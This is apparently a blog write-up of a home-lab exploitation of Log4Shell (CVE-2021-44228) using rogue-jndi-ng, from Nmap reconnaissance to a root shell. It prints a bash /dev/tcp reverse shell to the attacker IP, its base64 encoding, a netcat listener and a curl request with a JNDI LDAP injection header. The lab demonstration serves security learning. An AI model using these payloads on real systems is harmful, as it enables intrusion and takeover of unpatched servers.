Exploiting Log4Shell, Using Rogue-JNDI-NG -A Practical Walkthrough

The Log4Shell vulnerability (CVE-2021–44228) is one of the most critical remote code execution (RCE) vulnerabilities discovered in recent years. It affects the widely used Apache Log4j logging library and allows attackers to execute arbitrary code on vulnerable systems.

In this write-up, I’ll walk through a hands-on exploitation of Log4Shell in a controlled lab environment, where I successfully gained a root shell using the GitHub project rogue-jndi-ng after testing multiple tools.

Lab Setup

To safely demonstrate this vulnerability, I created a local lab environment:

• Target Machine (Vulnerable Server): 192.168.0.105 (Ubuntu with vulnerable Log4j application)
• Attacker Machine (Kali Linux): 192.168.0.104

The lab was intentionally configured to simulate a real-world vulnerable setup.

Reconnaissance

The first step was to identify open ports and services using Nmap:

nmap -sC -sV 192.168.0.105
            

Key Finding: Port 80 (HTTP) was open → Indicates a web application is running

Web Enumeration

After accessing the web application in a browser: http://192.168.0.105

Observations:

• The application was accessible on port 80
• Found a feature labeled “Logging”
• Clicking it revealed a logging interface
• Clicking the "here" button redirected to :/app/servlet

At this point, the endpoint looked interesting for input-based vulnerabilities.

Identifying the Vulnerability

After analyzing the application behavior and doing some research, I identified that:

1. The application is using Apache Log4j
2. It is vulnerable to JNDI injection (Log4Shell)

Exploit Research

I tested multiple tools initially, but most failed or were unreliable in my setup.

After further research, I found a powerful GitHub project:

👉 rogue-jndi-ng (https://github.com/veracode-research/rogue-jndi-ng.git)

This tool helped successfully trigger the vulnerability and achieve remote code execution.

Exploit Setup

• Step 1: Clone the Repository
• Step 2: Install Dependencies
• Step 3: Create Reverse Shell Command

bash -i >& /dev/tcp/192.168.0.104/4444 0>&1
        

• Step 4: Encode Payload (Base64)

echo "bash -i >& /dev/tcp/192.168.0.104/4444 0>&1" | base64
            

• Step 5: Listener Setup (Before triggering the exploit, I started a Netcat listener)

nc -lvnp 4444              
            

• Step 6: Exploitation (Finally, I triggered the Log4Shell vulnerability using the following request:)

curl -v http://192.168.0.105:8888/app/servlet \
-H 'x-log: ${jndi:ldap://192.168.0.104:1389/o=tomcat}'                
            

What Happens Here?

• The application logs the x-log header
• Log4j interprets the ${jndi:ldap://...} payload
• It reaches out to the attacker-controlled LDAP server
• Malicious code is executed on the target system

Conclusion

This exercise demonstrates how dangerous Log4Shell can be when left unpatched. Despite trying several tools, rogue-jndi-ng proved to be highly effective in achieving exploitation.

Md Mesbaul Islam, Cyber Security Researcher & Ethical Hacker

Want to read with POC? Here is the Medium link